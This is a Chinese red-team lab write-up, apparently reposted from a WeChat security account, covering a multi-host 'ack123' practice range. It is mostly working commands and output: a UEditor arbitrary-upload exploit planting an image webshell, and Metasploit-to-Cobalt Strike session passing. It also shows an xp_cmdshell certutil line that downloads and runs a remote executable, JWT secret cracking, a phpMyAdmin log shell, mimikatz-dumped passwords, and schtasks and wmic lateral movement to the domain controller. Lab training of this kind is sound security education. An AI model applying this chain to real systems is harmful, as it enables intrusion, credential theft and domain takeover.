1.站库分离 外网打点
2.过360全家桶
3.过windwos defender
4.过火绒
5.内网漫游
6.多层网络渗透
7.横向渗透
8.jwt token密钥破解
9.权限提升
10.域渗透
11.phpmyadmin写shell
12.sqlserver 提权
每三个月一次考核,每个项目根据当前流行的技术进行适当的调整。项目综合考核渗透测试能力,培养单兵作战的安全选手。
本次靶机环境一共5个flag
修改本地hosts文件, 开始打靶机
由于是靶机环境, 这里就不存在被动信息收集了 , 直接针对web进行主动收集
3.1端口扫描
端口这边的话, 也是没有扫到什么 , 估计是要从web打进去
3.2目录扫描
扫到网站后台
http://www.ackmoon.com/admin/login.aspx
发现可以注册 , 这边先注册看一下能不能登录
然后直接跳到后台页面
3.3指纹&系统
cms:HDHCMS)
服务器名称:12SERVER-WEB1
操作系统:MicrosoftWindows NT 6.3.9600.0
中间件:IIIS8.5
脚本语言:aspx
物理路径:C:Hws.comHwsHostMasterwwwrootwww.ackmoon.comwebadminHdhadmin.aspx
数据库:MSSQL
上传目录:upfiles/
富文本编辑器:百度Ueditor1.4.3
在后台的富文本编辑器:百度Ueditor1.4.3 引起了我的注意 ,因为这个版本爆出过任意文件上传漏洞 , 可以直接拿shell, 然后漏洞验证
poc
http://ip:port/net/controller.ashx?action=catchimage
发现路径不存在 , 可能是二开更改了路径,因为已经知道cms , 百度一下看看是否开源
通过源代码的审计 ,得到编辑器路径
admin/net/controller.ashx?action=catchimage
接下来就是漏洞利用了 ,首先在构造一个aspx的图片马
copy1.jpg/b + 1.aspx/a 2.jpg
正常图片 木马文件 图片马
然后图片码上传到vps, 并在当前路径使用python3开启一个http服务
python3-m http.server
本地构造一个上传的form表单
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"method="POST">
<p>shelladdr:<inputtype="text"name="source[]"/></p>
<inputtype="submit"value="submit"/>
</form>
上传图片马
拿到shell返回的地址,蚁剑连接
http://www.ackmoon.com/upfiles/image/20210918/637675xxxxxxxxx637119884.aspx
尝试终端执行命令 , 进行简单的主机信息收集
有两张内网网卡 , 然后查看杀软
发现存在360 ,准备免杀马 , 这边使用了一个python加载器,绕过350, 具体代码就不放出来了
提权 , 通过systeminfo查看补丁号, 发现可以使用烂土豆可以提权 , 但是就是没有会话产生, 估计是360给拦截了 ,后面问了一位师傅说哥斯拉里面自带一个烂土豆提权,你可以试试
然后拿到第一个flag
flag{2984bdce9f0e56850ebf16a4f1c874fe}
通过从源代码中发现是站库分离的,然后msf派生到cs做个socks代理
数据库配置
msf派生给cs
msf中的操作,上线后将会话放置后台
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.163 cs的ip
set LPORT 8288 cs监听的端口
set session 1
set DisablePayloadHandler true
run
这边就懒得传frp ,nps ,等socks代理软件了, 直接用cs自带的socks代理
使用proxifile配置代理服务器和规则
使用navicat连接mssql数据库提示, (坑)解决方案 :
尝试调用xp_cmdshell运行系统命令(如果xp_cmdshell没有开启, 需要手动开启 ) ,盲猜其他师傅开的
EXECmaster..xp_cmdshell 'ipconfig';
(1)恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
(2)#关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
(3)#启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
查看一下有无杀软tasklist , 发现存在火绒
然后做一下火绒的免杀 , 尝试上线, 使用windows的certutil命令远程下载文件
EXEC master..xp_cmdshell 'certutil -urlcache -split -fhttp://xxx:xxxx/1.exe C:WindowsTempdata1.exe';
EXECmaster..xp_cmdshell'C:WindowsTempdata1.exe';
(windows远程下载文件至本地,仅需要一个cmd执行的地方)
然后上线 ,使用cs的烂土豆提权 ,拿到第二个flag
flag{41e0bc81ac9fd3ed0ac4e69940767491}
这边直接访问靶场的192.168.22.135, 发现ip应该是改了,内网扫了一下存活主机
发现web2是192.168.22.168
登录请求中 , 在token中发现jwt认证
jwt的特征就是前两段是base64编码(去掉==),最后一段是秘钥,然后点号拼接
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjMyMDI2NTgyLCJuYmYiOjE2MzIwMjY1OTIsImV4cCI6MTYzMjAyNzE4MiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.UWrSdZVkgABThq1EfUstZIbTxGVAY79NNdHQcLEc0v8
爆破工具 jwt_tool(github直接下载)工具
爆破的命令
python3 jwt_tool.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjMxOTI2MzcyLCJuYmYiOjE2MzE5MjYzODIsImV4cCI6MTYzMTkyNjk3MiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.08ULh_VD0kMtvEuwMxQ5zXncOM2L4lNnUPXgOEx0CgM-C -d /usr/share/wordlists/rockyou.txt
最终秘钥:Qweasdzxc5is the CORRECT key!
rockyou.txt(美国一家rockyou公司泄露的密码铭文字典,很大)字典的默认没有需要解压
gzip-d rockyou.txt.tg
admin用户签名后的jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJhdWQiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJpYXQiOjE2MzE5MjYzNzIsIm5iZiI6MTYzMTkyNjM4MiwiZXhwIjoxNjMxOTI2OTcyLCJkYXRhIjp7InVzZXJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9fQ.R8v4SX2Fcu-zZjiPw6esGskfTDbqyZ4WEmFuNWksPkg
但是admin登录之后仍然是是没有办法getshell, 尝试目录扫描 , 发现有s,php
发现是sql日志文件,联想到了日志写shell,但是phpmyadmin的地址不知道,发现是phpstudy搭建的,本地搭建测试安装phpmyadmin,找到默认路径phpmyadmin4.8.5
http://192.168.22.168/phpmyadmin4.8.5
root
密码就是jwt的秘钥
通过写日志的方式拿shell(大家都会。。。)
http://192.168.22.168/moonnbclass.php
密码
phpstudy起的,所以是system权限就不需要提权了
拿到第三个flag
flag{d754e776fd4657033e0dfd3a3456ab2b}
查看网卡信息ipconfig/all
WindowsIP 配置
主机名 .. . . . . . . . . . . . : 12server-web2
主DNS后缀.. . . . . . . . . . : ack123.com
节点类型 .. . . . . . . . . . . : 混合
IP 路由已启用.. . . . . . . . . : 否
WINS 代理已启用.. . . . . . . . : 否
DNS 后缀搜索列表 .. . . . . . . : ack123.com
localdomain
以太网适配器Ethernet0:
连接特定的DNS后缀.. . . . . . : localdomain
描述.. . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接#2
物理地址.. . . . . . . . . . . . : 00-0C-29-B8-62-80
DHCP 已启用.. . . . . . . . . . : 是
自动配置已启用.. . . . . . . . . : 是
本地链接IPv6地址.. . . . . . . : fe80::692d:74ff:bec2:6d54%13(首选)
IPv4 地址.. . . . . . . . . . . : 192.168.22.168(首选)
子网掩码 .. . . . . . . . . . . : 255.255.255.0
获得租约的时间 .. . . . . . . . : 2021年9月19日9:44:43
租约过期的时间 .. . . . . . . . : 2021年9月19日13:14:42
默认网关.. . . . . . . . . . . . :
DHCP 服务器.. . . . . . . . . . : 192.168.22.254
DHCPv6 IAID . . . . . . . . . . . : 318770217
DHCPv6 客户端DUID . . . . . . . : 00-01-00-01-28-BB-98-29-00-0C-29-B8-62-8A
DNS 服务器 .. . . . . . . . . . : 192.168.22.1
TCPIP 上的NetBIOS . . . . . . . : 已启用
以太网适配器Ethernet1:
连接特定的DNS后缀.. . . . . . : localdomain
描述.. . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接
物理地址.. . . . . . . . . . . . : 00-0C-29-B8-62-8A
DHCP 已启用.. . . . . . . . . . : 是
自动配置已启用.. . . . . . . . . : 是
本地链接IPv6地址.. . . . . . . : fe80::a86f:4e5:82d7:56a2%12(首选)
IPv4 地址.. . . . . . . . . . . : 10.10.10.138(首选)
子网掩码 .. . . . . . . . . . . : 255.255.255.0
获得租约的时间 .. . . . . . . . : 2021年9月19日9:44:43
租约过期的时间 .. . . . . . . . : 2021年9月19日13:14:42
默认网关.. . . . . . . . . . . . :
DHCP 服务器.. . . . . . . . . . : 10.10.10.254
DHCPv6 IAID . . . . . . . . . . . : 301993001
DHCPv6 客户端DUID . . . . . . . : 00-01-00-01-28-BB-98-29-00-0C-29-B8-62-8A
DNS 服务器 .. . . . . . . . . . : 10.10.10.135
TCPIP 上的NetBIOS . . . . . . . : 已启用
隧道适配器isatap.localdomain:
媒体状态 .. . . . . . . . . . . : 媒体已断开
连接特定的DNS后缀.. . . . . . : localdomain
描述.. . . . . . . . . . . . . . : Microsoft ISATAP Adapter
物理地址.. . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用.. . . . . . . . . . : 否
自动配置已启用.. . . . . . . . . : 是
发现有域环境 ,ping了一下外网发现 ,主机不出网 ,这里用cs正向连接, 通过web1做跳板机上线cs ,老规矩看一下有无杀软, 发现没有杀软 , 直接生成上线
关于cs正向上线,新建监听
木马生成 ,注意这里只能选择无状态的exe
通过webshell上传并运行cs马子
cs这边进入beacon连接目标执行
connect192.168.22.168 1337
上线成功, 进入域渗透
首先进行一波域内信息收集
查找域控
16SERVER-DC1
查找域管理员
Administrator
尝试mimikatz抓取明文密码,
wdigest:
* Username : Administrator
* Domain : 12SERVER-WEB2
* Password : QWEasd.999
wdigest:
* Username : 12SERVER-WEB2$
* Domain : ACK123
* Password : A;rLc9B_10WkvgM.fmz#bz5Lq.+!)#=?eG*Ns2TPpfm>&^BPRrW!=v[LP652WdF>YV-w+ntZ#dW_n;`(ZP+Ul/eM,@y:/XuH!`tCtZ!8w[B=Q&!H+:(u
kerberos:
* Username : administrator
* Domain : ack123.com
* Password : (null)
ssp:
credman:
抓到本地管理员的密码, 但是我要的是域管的啊 , 尝试制作白银票据
虽然制作成功但是 , 访问失败
beacon>shell dir \10.10.10.135C$
[*] Tasked beacon to run: dir\10.10.10.135C$[+] host called home, sent: 52 bytes[+] receivedoutput:拒绝访问10.10.10.135
hashdump导出用户的hash
域管:bc23a1506bd3c8d3a533680c516bab27
cmd5网站进行NTLM的解密
拿到域控密码 P@55w0rd!
但是域控不出网 ,只能通过web2做listener中转上线
生成无状态的exe木马
通过ipc$+计划任务上线
#使用ipc连接
shell net use \10.10.10.136ipc$ /user:administrator "P@55w0rd!"
#从web2复制cs木马到域控
shell copy C:phpstudy_proWWWb12.exe \10.10.10.136c$b12.exe
#查看是否复制成功
shell dir \10.10.10.136c$
#设定计划任务
shell SCHTASKS /Create /S 16server-dc1.ack123.com /U Administrator /P"P@55w0rd!" /SC
ONCE/ST 16:56:01 /TN 998 /TR c:b12.exe /RU Administrator
拿到第四个flag
flag{eeac7f42e6fe8b0bf424734bb7d3c05d}
用同样的方法,上线data2 , 死活就是不上,问了问月师傅说杀软 , 但是域控同样有杀软,但也直接上线了
玄学问题 , 然后尝试psexec横向也不行, 最后wmic横向成功
shell wmic /node:10.10.10.136 /user:administrator /password:P@55w0rd!process call create "c:b12.exe"
公众号长期更新安全类技术文章 欢迎关注和转发
原文始发于微信公众号(moonsec):九月红队考核 ack123靶场 第六篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论